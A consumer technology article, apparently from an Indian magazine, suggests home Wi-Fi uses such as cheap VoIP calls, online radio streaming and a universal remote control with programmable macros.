You have to pay through your nose for even a short conversation with your family abroad—but with VoIP, the same conversation costs you just a few paise, and that too without worrying about any cable connections. Since you already have Wi-Fi coverage all over your home, you can walk around and make calls just like you would with an ordinary cordless phone. Special Skype phones are available but expensive. A cheaper idea would be to use your Wi-Fi enabled cellphone and an application such as Skype, Gizmo5, or even chat programs like Google Talk which allow voice calls.

All the world’s a radio

Finally, you can listen to music without advertisements, and tune in to hundreds more choices than our local FM stations offer. Some of the best radio stations around the world broadcast high quality streams online, which your Wi-Fi enabled home will allow you to listen to anywhere. Live365 and Shoutcast are some of the better online repositories for finding good stations. Tune in through your cellphone, or a suitable receiver box which can plug into your living room speakers or home theater.

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Multifunction remote control

You now control your devices not only from the sofa, but also from every room in your apartment.

You now require just one thing to make your multimedia home perfect: a universal remote control for all entertainment devices. Then you really won’t need to be on your feet every time any longer to enjoy your digital audio and video files. One great (though expensive) example is the Logitech Harmony 1100. You can select your devices from a huge database on the computer, without going through any complicated programming. Even macros for various scenarios can be created easily. For example, you can use just one button to simultaneously switch on the television, switch over to the video input, start the DVD player and play the inserted disc. Everything functions through a touchscreen that displays the suitable information. Optionally, the remote control can control devices from other rooms wirelessly.

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